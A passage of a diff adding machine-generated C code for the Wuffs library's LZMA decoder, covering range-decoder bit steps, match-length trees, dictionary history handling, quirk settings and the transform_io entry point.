wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_19 = *iop_a_src++; ++ v_c8 = t_19; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_20 = *iop_a_src++; ++ v_c8 = t_20; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_21 = *iop_a_src++; ++ v_c8 = t_21; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_22 = *iop_a_src++; ++ v_c8 = t_22; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_23 = *iop_a_src++; ++ v_c8 = t_23; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_24 = *iop_a_src++; ++ v_c8 = t_24; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep3; ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } ++ } ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_25 = *iop_a_src++; ++ v_c8 = t_25; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_26 = *iop_a_src++; ++ v_c8 = t_26; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 2u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_27 = *iop_a_src++; ++ v_c8 = t_27; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_28 = *iop_a_src++; ++ v_c8 = t_28; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_29 = *iop_a_src++; ++ v_c8 = t_29; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_30 = *iop_a_src++; ++ v_c8 = t_30; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_31 = *iop_a_src++; ++ v_c8 = t_31; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ } while (0); ++ } while (0); ++ v_dist = (v_rep0 + 1u); ++ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_pos += ((uint64_t)(v_len)); ++ while (274u > ((uint64_t)(io2_a_dst - iop_a_dst))) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); ++ } ++ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_adj_dist > self->private_impl.f_dict_seen) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ if (v_len < v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } else if (v_len == v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ v_len -= v_adj_dist; ++ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ } ++ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } ++ label__outer__break:; ++ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; ++ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); ++ self->private_impl.f_stashed_bits = v_bits; ++ self->private_impl.f_stashed_range = v_range; ++ self->private_impl.f_stashed_state = v_state; ++ self->private_impl.f_stashed_rep0 = v_rep0; ++ self->private_impl.f_stashed_rep1 = v_rep1; ++ self->private_impl.f_stashed_rep2 = v_rep2; ++ self->private_impl.f_stashed_rep3 = v_rep3; ++ self->private_impl.f_stashed_pos = v_pos; ++ self->private_impl.f_stashed_pos_end = v_pos_end; ++ ++ ok: ++ self->private_impl.p_decode_bitstream_slow = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_bitstream_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_bitstream_slow.v_bits = v_bits; ++ self->private_data.s_decode_bitstream_slow.v_range = v_range; ++ self->private_data.s_decode_bitstream_slow.v_state = v_state; ++ self->private_data.s_decode_bitstream_slow.v_rep0 = v_rep0; ++ self->private_data.s_decode_bitstream_slow.v_rep1 = v_rep1; ++ self->private_data.s_decode_bitstream_slow.v_rep2 = v_rep2; ++ self->private_data.s_decode_bitstream_slow.v_rep3 = v_rep3; ++ self->private_data.s_decode_bitstream_slow.v_rep = v_rep; ++ self->private_data.s_decode_bitstream_slow.v_pos = v_pos; ++ self->private_data.s_decode_bitstream_slow.v_pos_end = v_pos_end; ++ self->private_data.s_decode_bitstream_slow.v_lc = v_lc; ++ self->private_data.s_decode_bitstream_slow.v_lp_mask = v_lp_mask; ++ self->private_data.s_decode_bitstream_slow.v_pb_mask = v_pb_mask; ++ self->private_data.s_decode_bitstream_slow.v_tree_node = v_tree_node; ++ self->private_data.s_decode_bitstream_slow.v_prev_byte = v_prev_byte; ++ self->private_data.s_decode_bitstream_slow.v_match_byte = v_match_byte; ++ self->private_data.s_decode_bitstream_slow.v_len_state = v_len_state; ++ self->private_data.s_decode_bitstream_slow.v_slot = v_slot; ++ self->private_data.s_decode_bitstream_slow.v_len = v_len; ++ self->private_data.s_decode_bitstream_slow.v_lanl_offset = v_lanl_offset; ++ self->private_data.s_decode_bitstream_slow.v_num_extra_bits = v_num_extra_bits; ++ self->private_data.s_decode_bitstream_slow.v_dist_extra_bits = v_dist_extra_bits; ++ self->private_data.s_decode_bitstream_slow.v_i = v_i; ++ self->private_data.s_decode_bitstream_slow.v_index_lit = v_index_lit; ++ self->private_data.s_decode_bitstream_slow.v_index_len = v_index_len; ++ self->private_data.s_decode_bitstream_slow.v_index_small_dist_base = v_index_small_dist_base; ++ self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra = v_index_small_dist_extra; ++ self->private_data.s_decode_bitstream_slow.v_index_large_dist = v_index_large_dist; ++ self->private_data.s_decode_bitstream_slow.v_dist = v_dist; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.add_history ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__add_history( ++ wuffs_lzma__decoder* self, ++ wuffs_base__slice_u8 a_hist, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint64_t v_dict_workbuf_index = 0; ++ uint64_t v_dict_size = 0; ++ uint64_t v_hist_length = 0; ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n_copied = 0; ++ uint64_t v_n = 0; ++ ++ v_dict_workbuf_index = ((uint64_t)(self->private_impl.f_dict_workbuf_index)); ++ v_dict_size = ((uint64_t)(self->private_impl.f_dict_size)); ++ if (((uint64_t)(a_hist.len)) == 0u) { ++ return wuffs_base__make_status(NULL); ++ } ++ if (((uint64_t)(a_workbuf.len)) < (v_dict_size + 273u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ } ++ v_hist_length = ((uint64_t)(a_hist.len)); ++ if (v_hist_length > 4294967295u) { ++ self->private_impl.f_dict_seen = 4294967295u; ++ } else { ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dict_seen, ((uint32_t)(v_hist_length))); ++ } ++ v_s = a_hist; ++ if (((uint64_t)(v_s.len)) >= v_dict_size) { ++ v_s = wuffs_private_impl__slice_u8__suffix(v_s, v_dict_size); ++ wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, v_s); ++ self->private_impl.f_dict_workbuf_index = 0u; ++ } else if (v_dict_workbuf_index > v_dict_size) { ++ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ } else { ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_ij(a_workbuf, v_dict_workbuf_index, v_dict_size), v_s); ++ if (v_n_copied < ((uint64_t)(v_s.len))) { ++ v_n = wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, wuffs_base__slice_u8__subslice_i(v_s, v_n_copied)); ++ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); ++ } else { ++ v_n = ((uint64_t)(v_dict_workbuf_index + v_n_copied)); ++ if (v_n < v_dict_size) { ++ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); ++ } else { ++ self->private_impl.f_dict_workbuf_index = 0u; ++ } ++ } ++ } ++ if ((273u > v_dict_size) || (v_dict_size > ((uint64_t)(a_workbuf.len)))) { ++ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ } ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_i(a_workbuf, v_dict_size), wuffs_base__slice_u8__subslice_j(a_workbuf, 273u)); ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func lzma.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzma__decoder__get_quirk( ++ const wuffs_lzma__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 1348001792u) { ++ if (self->private_impl.f_allow_non_zero_initial_byte) { ++ return 1u; ++ } ++ } else if (a_key == 1348001793u) { ++ return ((uint64_t)(self->private_impl.f_format_extension)); ++ } ++ return 0u; ++} ++ ++// -------- func lzma.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzma__decoder__set_quirk( ++ wuffs_lzma__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ uint32_t v_v = 0; ++ uint32_t v_n = 0; ++ ++ if (a_key == 1348001792u) { ++ self->private_impl.f_allow_non_zero_initial_byte = (a_value > 0u); ++ } else if (a_key == 1348001793u) { ++ if (a_value == 0u) { ++ self->private_impl.f_format_extension = 0u; ++ return wuffs_base__make_status(NULL); ++ } else if ((a_value & 255u) == 1u) { ++ if ((a_value >> 8u) <= 255u) { ++ self->private_impl.f_format_extension = ((uint32_t)(a_value)); ++ v_v = (self->private_impl.f_format_extension >> 8u); ++ v_n = (((uint32_t)(1u)) << (v_v & 31u)); ++ wuffs_private_impl__u32__sat_sub_indirect(&v_n, ((v_n >> 4u) * ((v_v >> 5u) & 7u))); ++ if ((v_n < 4096u) || (536870912u < v_n)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_dict_size = v_n; ++ return wuffs_base__make_status(NULL); ++ } ++ } else if ((a_value & 255u) == 2u) { ++ if ((a_value >> 8u) <= 40u) { ++ self->private_impl.f_format_extension = ((uint32_t)(a_value)); ++ v_v = (self->private_impl.f_format_extension >> 8u); ++ if (v_v < 40u) { ++ self->private_impl.f_dict_size = ((2u | (v_v & 1u)) << ((v_v >> 1u) + 11u)); ++ } else { ++ self->private_impl.f_dict_size = 4294967295u; ++ } ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzma.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzma__decoder__dst_history_retain_length( ++ const wuffs_lzma__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func lzma.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzma__decoder__workbuf_len( ++ const wuffs_lzma__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ uint64_t v_m = 0; ++ ++ if (self->private_impl.f_dict_size == 0u) { ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ } ++ v_m = (((uint64_t)(self->private_impl.f_dict_size)) + 273u); ++ return wuffs_base__utility__make_range_ii_u64(v_m, v_m); ++} ++ ++// -------- func lzma.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzma__decoder__transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_mark = 0; ++ wuffs_base__status v_dti_status = wuffs_base__make_status(NULL); ++ wuffs_base__status v_ah_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_lzma__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_dti_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ } ++ if ( ! wuffs_base__status__is_suspension(&v_dti_status)) { ++ status = v_dti_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_dti_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__truncated_input); ++ goto exit; ++ } ++ v_ah_status = wuffs_lzma__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst), a_workbuf); ++ if (wuffs_base__status__is_error(&v_ah_status)) { ++ status = v_ah_status; ++ goto exit; ++ } ++ status = v_dti_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// 